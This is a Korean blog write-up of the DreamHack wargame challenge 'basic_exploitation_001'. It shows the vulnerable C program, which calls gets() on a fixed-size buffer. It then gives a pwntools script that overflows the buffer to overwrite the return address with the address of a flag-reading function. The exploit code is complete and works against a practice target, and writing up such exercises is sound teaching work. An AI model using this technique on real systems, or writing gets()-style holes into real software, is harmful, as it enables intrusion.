Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage5_문제풀이(basic_exploitation_001) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage5_문제풀이(basic_exploitation_001)

CIDY 2022. 7. 1. 22:09
// 32-bit, nx
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

nx걸려있음 -> 스택에 쉘코드 올려쓰는 방법은 안 됨. 근데 완전 친절하게 플래그 읽어주는 함수가 있음 -> 거기로 뛰자

 

from pwn import *

r = remote("host3.dreamhack.games", 16618)

flag = 0x80485b9

pay = b"A" * 0x80
pay += b"B" * 0x4
pay += p32(flag)

r.sendline(pay)
r.interactive()

 

어차피 목적은 쉘따서 명령 실행하는 게 아니고 플래그만 읽어오는거니까 상관없다.